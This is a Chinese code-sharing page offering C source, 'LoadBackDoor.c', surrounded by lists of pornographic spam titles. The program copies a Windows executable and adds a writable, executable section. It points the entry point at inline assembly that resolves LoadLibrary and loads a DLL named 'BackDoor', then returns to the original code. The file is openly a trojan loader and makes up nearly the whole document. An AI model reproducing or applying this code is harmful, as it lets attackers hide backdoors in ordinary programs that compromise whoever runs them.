亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來(lái)到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關(guān)于我們
? 蟲蟲下載站

?? loadbackdoor.c

?? 正則式到有窮自動(dòng)機(jī) 有個(gè)別軟件在安裝時(shí)金山毒霸會(huì)提示存在木馬程序
?? C
字號(hào):
/********************************************************************
	created:	2006/01/10
	created:	8:2:2006   13:37
	filename: 	LoadBackDoor.c
	author:		Liu Qi
	version:	0.2
	purpose:	增加一個(gè)新節(jié)用于啟動(dòng)DLL木馬
*********************************************************************/
#include <windows.h>
#include <winnt.h>
#include <stdio.h>
#include <assert.h>


#define DEBUG				1
#define EXTRA_CODE_LENGTH	18
#define SECTION_SIZE		0x1000 	//增加的節(jié)的大小
#define SECTION_NAME		".ngaut"	//增加的節(jié)的名字
#define FILE_NAME_LENGTH	30	//文件名最大長(zhǎng)度(包括路徑)


int Align(int size, int ALIGN_BASE)
{
	int ret;
	int result;

	assert( 0 != ALIGN_BASE ); 

	result = size % ALIGN_BASE;
	if (0 != result)	//余數(shù)不為零,也就是沒有整除
	{
		ret = ((size / ALIGN_BASE) + 1) * ALIGN_BASE;
	}
	else
	{
		ret = size;
	}

	return ret;
}

void usage()
{
	printf("用法:\n");
	printf("LoadBackDoor.exe FileName\n");
	printf("eg: \n");
	printf("\tLoadBackDoor.exe test.exe\n");
	printf("Coded by:劉奇 (湖北荊州長(zhǎng)江大學(xué)東校區(qū)397信箱)\n");
}



int main(int argc, char *argv[])
{
	IMAGE_DOS_HEADER DosHeader;
	IMAGE_NT_HEADERS NtHeader;
	IMAGE_SECTION_HEADER SectionHeader;
	IMAGE_SECTION_HEADER newSectionHeader;	//新增加的節(jié)的節(jié)頭
	int numOfSections;
	FILE *pNewFile;
	int FILE_ALIGN_MENT;
	int SECTION_ALIGN_MENT;
	char srcFileName[FILE_NAME_LENGTH];
	char newFileName[FILE_NAME_LENGTH];
	int i;
	int extraLengthAfterAlign;
	unsigned int newEP;	//新入口點(diǎn)
	unsigned int oldEP;
	BYTE jmp;
	char *pExtra_data;
	int extra_data_real_length;



	if (NULL == argv[1])
	{
		puts("參數(shù)錯(cuò)誤\n");
		usage();
		exit(0);
	}
	strcpy(srcFileName, argv[1]);
	strcpy(newFileName, srcFileName);
	strcat(newFileName, ".exe");

	//復(fù)制一份
	if (!CopyFile(srcFileName, newFileName, FALSE))
	{
		puts("Copy file failed");
		exit(0);
	}
	//打開新文件,文件名為原來(lái)的文件名 + .exe
	pNewFile = fopen(newFileName, "rb+");	//打開方式"rb+"
	if (NULL == pNewFile)
	{
		puts("Open file failed");
		exit(0);
	}


	fseek(pNewFile, 0, SEEK_SET);
	//讀取IMAGE_DOS_HEADER
	fread(&DosHeader, sizeof(IMAGE_DOS_HEADER), 1, pNewFile);
	if (DosHeader.e_magic != IMAGE_DOS_SIGNATURE)
	{
		puts("Not a valid PE file");
		exit(0);
	}

	//先定位到pe文件頭,然后讀取IMAGE_NT_HEADERS
	fseek(pNewFile, DosHeader.e_lfanew, SEEK_SET);
	fread(&NtHeader, sizeof(IMAGE_NT_HEADERS), 1, pNewFile);
	if (NtHeader.Signature != IMAGE_NT_SIGNATURE)
	{
		puts("Not a valid PE file");
		exit(0);
	}

	//到這里,該文件就算是被驗(yàn)明正身了--合法的PE文件
	numOfSections = NtHeader.FileHeader.NumberOfSections;
	FILE_ALIGN_MENT = NtHeader.OptionalHeader.FileAlignment;
	SECTION_ALIGN_MENT = NtHeader.OptionalHeader.SectionAlignment;
#if DEBUG
	printf("FILE_ALIGN_MENT-> %x\n", FILE_ALIGN_MENT);
	printf("SECTION_ALIGN_MENT-> %x\n", FILE_ALIGN_MENT);
#endif

	//保存原來(lái)的入口備用
	oldEP = NtHeader.OptionalHeader.AddressOfEntryPoint;

	//定位到最后一個(gè)SectionHeader
	for (i = 0; i < numOfSections; i++)
	{
		fread(&SectionHeader, sizeof(IMAGE_SECTION_HEADER), 1, pNewFile);
#if DEBUG
		printf("節(jié)的名字:%s\n", SectionHeader.Name);
#endif
	}


	//增加一個(gè)新節(jié)前的準(zhǔn)備工作
	extraLengthAfterAlign = Align(EXTRA_CODE_LENGTH, FILE_ALIGN_MENT);
	NtHeader.FileHeader.NumberOfSections++;	//節(jié)的總數(shù)加一
	//先清零
	memset(&newSectionHeader, 0, sizeof(IMAGE_SECTION_HEADER));
	//修正部分?jǐn)?shù)據(jù)
	strncpy(newSectionHeader.Name, SECTION_NAME, strlen(SECTION_NAME));	//修正節(jié)名
	
//////修正VirtualAddress和VirtualSize通過(guò)對(duì)齊SECTION_ALIGN_MENT
	//修正VirtualAddress
	newSectionHeader.VirtualAddress = Align(SectionHeader.VirtualAddress + SectionHeader.Misc.VirtualSize,
		SECTION_ALIGN_MENT);
	//修正VirtualSize
	newSectionHeader.Misc.VirtualSize = Align(extraLengthAfterAlign, SECTION_ALIGN_MENT);

	//修正PointerToRawData
	newSectionHeader.PointerToRawData = Align
		(
		SectionHeader.PointerToRawData + SectionHeader.SizeOfRawData,
		FILE_ALIGN_MENT
		); 
	//修正SizeOfRawData
	newSectionHeader.SizeOfRawData = Align(SECTION_SIZE, FILE_ALIGN_MENT);

	//修改新節(jié)的屬性
	newSectionHeader.Characteristics = 0xE0000020; //可讀可些可執(zhí)行
	//修正NtHeader
#if DEBUG
	printf("\nSizeOfCode: %x\n", NtHeader.OptionalHeader.SizeOfCode);
	printf("\nSizeOfImage: %x\n", NtHeader.OptionalHeader.SizeOfImage);
#endif
	NtHeader.OptionalHeader.SizeOfCode = Align(NtHeader.OptionalHeader.SizeOfCode + SECTION_SIZE, FILE_ALIGN_MENT);	//修正SizeOfCode
	NtHeader.OptionalHeader.SizeOfImage = NtHeader.OptionalHeader.SizeOfImage
				+ Align(SECTION_SIZE, SECTION_ALIGN_MENT); //修正SizeOfImage
#if DEBUG
	printf("\nSizeOfCode: %x\n", NtHeader.OptionalHeader.SizeOfCode);
	printf("\nSizeOfImage: %x\n", NtHeader.OptionalHeader.SizeOfImage);
#endif
	//Set zero the Bound Import Directory header
	NtHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;
	NtHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;



	fseek(pNewFile, 0, SEEK_END);
	newEP = newSectionHeader.VirtualAddress;
#if DEBUG
	printf("oldEP-> %x\n", oldEP);
	printf("newEP-> %x\n", ftell(pNewFile));
#endif	
	NtHeader.OptionalHeader.AddressOfEntryPoint = newEP;
	//定位節(jié)表尾部
	fseek(
		pNewFile, 
		DosHeader.e_lfanew + sizeof(IMAGE_NT_HEADERS) 
		+ numOfSections * sizeof(IMAGE_SECTION_HEADER),
		SEEK_SET
		);
#if DEBUG
	printf("Before write section header file pointer-> %x\n", ftell(pNewFile));
	printf("newSection name: %s\n", newSectionHeader.Name);
#endif	
	//寫入修正后的節(jié)頭
	fwrite(&newSectionHeader, sizeof(IMAGE_SECTION_HEADER), 1, pNewFile);
#if DEBUG
	printf("After write section header file pointer-> %x\n", ftell(pNewFile));
#endif	

	//寫入修正后的PE文件頭(NT頭)
	fseek(pNewFile, DosHeader.e_lfanew, SEEK_SET);
#if DEBUG
	printf("Before write NtHeader pointer-> %x\n", ftell(pNewFile));
	printf("sizeof(IMAGE_NT_HEADERS): %x\n", sizeof(IMAGE_NT_HEADERS));
#endif	
	fwrite(&NtHeader, sizeof(IMAGE_NT_HEADERS), 1, pNewFile);

	//定位到文件尾部
	fseek(pNewFile, 0, SEEK_END);
#if DEBUG
	printf("End of file pointer-> %x\n", ftell(pNewFile));
#endif
	//寫入新節(jié),這里先寫入0
	for (i=0; i<Align(SECTION_SIZE, FILE_ALIGN_MENT); i++)
	{
		fputc(0, pNewFile);
	}

	//定位到新節(jié)的開頭
	fseek(pNewFile, newSectionHeader.PointerToRawData, SEEK_SET);
#if DEBUG
	printf("Before write extra data pointer-> %x\n", ftell(pNewFile));
#endif

	goto GetExtraData;


extra_data_start:
	_asm pushad
	//獲取kernel32.dll的基址
	_asm 	mov eax, fs:0x30	 ;PEB的地址
	_asm 	mov eax, [eax + 0x0c]
	_asm 	mov esi, [eax + 0x1c]
	_asm 	lodsd
	_asm 	mov eax, [eax + 0x08] ;eax就是kernel32.dll的基址
	_asm 	mov edi, eax	//同時(shí)保存kernel32.dll的基址到edi
		
		//通過(guò)搜索 kernel32.dll的導(dǎo)出表查找GetProcAddress函數(shù)的地址
	_asm 	mov ebp, eax
	_asm 	mov eax, [ebp + 3ch]
	_asm 	mov edx, [ebp + eax + 78h]
	_asm 	add edx, ebp
	_asm 	mov ecx, [edx + 18h]
	_asm 	mov ebx, [edx + 20h]
	_asm 	add ebx, ebp
		
search:
	_asm	dec ecx
	_asm 	mov esi, [ebx + ecx * 4]
		
	_asm 	add esi, ebp
	_asm 	mov eax, 0x50746547
	_asm 	cmp [esi], eax		//比較"PteG"
	_asm 	jne search
	_asm 	mov eax, 0x41636f72
	_asm 	cmp [esi + 4], eax
	_asm 	jne search
	_asm 	mov ebx, [edx + 24h]
	_asm 	add ebx, ebp
	_asm 	mov cx, [ebx + ecx * 2]
	_asm 	mov ebx, [edx + 1ch]
	_asm 	add ebx, ebp
	_asm 	mov eax, [ebx + ecx * 4]
	_asm 	add eax, ebp		//eax保存的就是GetProcAddress的地址
		
		//為局部變量分配空間
	_asm 	push ebp
	_asm 	sub esp, 50h
	_asm 	mov ebp, esp
		
		//查找LoadLibrary的地址
	_asm 	mov [ebp + 40h], eax	//把GetProcAddress的地址保存到ebp + 40中
	
		//開始查找LoadLibrary的地址, 先構(gòu)造"LoadLibrary\0"
	_asm 	push 0x0	//即'\0'
	_asm 	push DWORD PTR 0x41797261
	_asm 	push DWORD PTR 0x7262694c
	_asm 	push DWORD PTR 0x64616f4c
	_asm 	push esp	//壓入"LoadLibrary\0"的地址
	_asm 	push edi	//edi:kernel32的基址
	_asm 	call [ebp + 40h]	//返回值(即LoadLibrary的地址)保存在eax中
	_asm 	mov [ebp + 44h], eax	//保存LoadLibrary的地址到ebp + 44h
	_asm 	push 0x0
	_asm 	push DWORD PTR 0x726f6f44	//"Door"
	_asm 	push DWORD PTR 0x6b636142	//"Back"
	_asm 	push esp					//字符串"BackDoor"的地址
	_asm 	call [ebp + 44h]	//或者call eax
	_asm	mov esp, ebp
	_asm	add esp, 0x50
	_asm	popad
extra_data_end:
	

GetExtraData:
	_asm pushad;
	_asm lea eax, extra_data_start;
	_asm mov pExtra_data, eax;
	_asm lea edx, extra_data_end;
	_asm sub edx, eax;
	_asm mov extra_data_real_length, edx;
	_asm popad;
				


	//寫入附加數(shù)據(jù)(用于啟動(dòng)DLL木馬)
	for (i = 0; i < extra_data_real_length; i++)
	{
		fputc(pExtra_data[i], pNewFile);
	}


	oldEP = oldEP - (newEP + extra_data_real_length) - 5;
#if DEBUG
	printf("oldEP is-> %x\n", oldEP);
#endif
	jmp = 0xE9;
	fwrite(&jmp, sizeof(jmp), 1, pNewFile);
	fwrite(&oldEP, sizeof(oldEP), 1, pNewFile);

	fclose(pNewFile); 
	
	return 0;
}

?? 快捷鍵說(shuō)明

復(fù)制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號(hào) Ctrl + =
減小字號(hào) Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
免播放器亚洲一区| 精品剧情v国产在线观看在线| 麻豆传媒一区二区三区| 亚洲另类色综合网站| 中文一区二区在线观看| 久久久三级国产网站| 欧美大片顶级少妇| 精品美女一区二区三区| 日韩欧美国产小视频| 欧美一级高清大全免费观看| 日韩一区二区中文字幕| 欧美一区二区三区在| 欧美岛国在线观看| 精品国产百合女同互慰| 久久免费看少妇高潮| 国产人成亚洲第一网站在线播放| 久久亚洲捆绑美女| 国产精品久久久久影院色老大| 欧美激情一区在线| 17c精品麻豆一区二区免费| 亚洲欧美日韩人成在线播放| 亚洲成人第一页| 秋霞电影网一区二区| 久久99国产精品免费| 国产成人午夜精品影院观看视频| 国产999精品久久久久久绿帽| 99久久综合99久久综合网站| 欧美性色黄大片| 欧美白人最猛性xxxxx69交| 久久久久久久久久久久久夜| 中文字幕一区二| 天天做天天摸天天爽国产一区| 久草这里只有精品视频| 成av人片一区二区| 欧美日韩精品一区二区三区四区| 日韩精品一区二区三区在线| 一色屋精品亚洲香蕉网站| 亚洲国产精品久久不卡毛片| 国产原创一区二区| 色哟哟国产精品| 精品国产伦一区二区三区观看方式 | 日韩高清欧美激情| 国产不卡免费视频| 欧美日韩精品欧美日韩精品一| 久久免费偷拍视频| 天天操天天干天天综合网| 国产精品88888| 欧美精品第一页| 最近中文字幕一区二区三区| 蜜桃传媒麻豆第一区在线观看| 91尤物视频在线观看| 欧美电影免费观看高清完整版在线| 18成人在线视频| 国产99久久久国产精品潘金网站| 欧美丝袜第三区| 国产精品国产自产拍高清av| 久久er精品视频| 欧美精品成人一区二区三区四区| 亚洲欧洲99久久| 国产精品羞羞答答xxdd| 欧美一区2区视频在线观看| 一区二区三区欧美久久| 成人动漫av在线| 久久久久亚洲蜜桃| 蜜臀精品久久久久久蜜臀 | 91九色最新地址| 欧美国产在线观看| 久久国产精品99久久人人澡| 欧美日韩激情一区二区三区| 亚洲人妖av一区二区| 东方aⅴ免费观看久久av| 91精品在线免费观看| 亚洲成av人片| 欧美日韩一二区| 亚洲一区二区精品3399| 日本道精品一区二区三区| 中文子幕无线码一区tr| 国产91精品免费| 国产精品素人一区二区| 国产成人综合在线| 久久久777精品电影网影网| 国内精品久久久久影院色| 精品久久久久久久久久久久久久久久久 | 欧美韩国日本一区| 国产精品一区在线观看你懂的| 26uuu国产电影一区二区| 久久91精品久久久久久秒播| 欧美成人精品福利| 久久91精品国产91久久小草| 久久嫩草精品久久久久| 国产成人在线网站| 中文字幕人成不卡一区| 在线观看国产一区二区| 五月婷婷久久综合| 日韩一区二区三区精品视频 | 欧美国产精品一区二区三区| 不卡视频一二三| 一片黄亚洲嫩模| 9191久久久久久久久久久| 蜜桃传媒麻豆第一区在线观看| 久久久不卡网国产精品二区| 99r国产精品| 日韩av一区二区在线影视| 国产精品美女久久久久久2018| 成人精品视频一区二区三区尤物| 亚洲欧美经典视频| 91精品免费观看| 国产成人免费9x9x人网站视频| 1区2区3区国产精品| 欧美精品在线一区二区三区| 国产成人在线免费观看| 亚洲人成网站精品片在线观看| 欧美精品免费视频| 国产 日韩 欧美大片| 亚洲激情综合网| 久久综合一区二区| 在线观看国产精品网站| 精品午夜久久福利影院| 一区二区三区在线播| ww久久中文字幕| 欧美丝袜丝nylons| 成人黄色电影在线| 美女视频黄a大片欧美| 中文字幕在线不卡视频| 欧美一区二区三区在线看| av午夜一区麻豆| 国产一区二区三区四区五区美女| 亚洲国产成人av| 亚洲色图在线视频| 2021国产精品久久精品| 欧美日韩一区三区四区| k8久久久一区二区三区| 韩国一区二区在线观看| 亚洲一卡二卡三卡四卡五卡| 中文字幕av资源一区| 日韩一区二区麻豆国产| 欧美午夜不卡在线观看免费| 成人精品亚洲人成在线| 国产在线播放一区三区四| 日本大胆欧美人术艺术动态| 亚洲综合在线五月| 中文字幕日韩一区| 国产日韩欧美在线一区| 精品国产乱码久久| 在线电影欧美成精品| 色94色欧美sute亚洲线路一ni | 色综合av在线| av福利精品导航| 成人中文字幕在线| 国产91精品免费| 成人综合婷婷国产精品久久蜜臀| 韩国精品在线观看| 美腿丝袜亚洲一区| 美女脱光内衣内裤视频久久网站| 亚洲午夜成aⅴ人片| 一区二区在线观看视频| 成人免费小视频| 亚洲精品乱码久久久久久黑人| 亚洲激情五月婷婷| 一区二区三区蜜桃| 亚洲中国最大av网站| 亚洲图片欧美色图| 五月天激情小说综合| 日韩va亚洲va欧美va久久| 美女视频黄免费的久久 | 欧美激情综合在线| 国产精品久久久久天堂| 成人欧美一区二区三区视频网页 | 91 com成人网| 337p亚洲精品色噜噜噜| 日韩一二三区不卡| 欧美精品一区二区不卡| 欧美国产精品久久| 亚洲青青青在线视频| 亚洲成人www| 国产一区在线观看视频| 成人美女视频在线观看18| 99久久免费视频.com| 欧美日韩精品免费观看视频 | 国产ts人妖一区二区| 成人黄页毛片网站| 欧美私人免费视频| 精品久久久久久久久久久久包黑料| 久久一区二区三区四区| 国产精品无人区| 婷婷中文字幕综合| 国产精品伊人色| 欧美三级电影精品| 精品久久久久久亚洲综合网| 亚洲欧美日韩中文播放| 日韩avvvv在线播放| 成人黄色av电影| 欧美精品v国产精品v日韩精品| 久久午夜国产精品| 亚洲免费av在线| 国产伦精品一区二区三区免费| 色偷偷一区二区三区| 精品成a人在线观看| 亚洲亚洲人成综合网络| 国产一区二区在线观看免费 |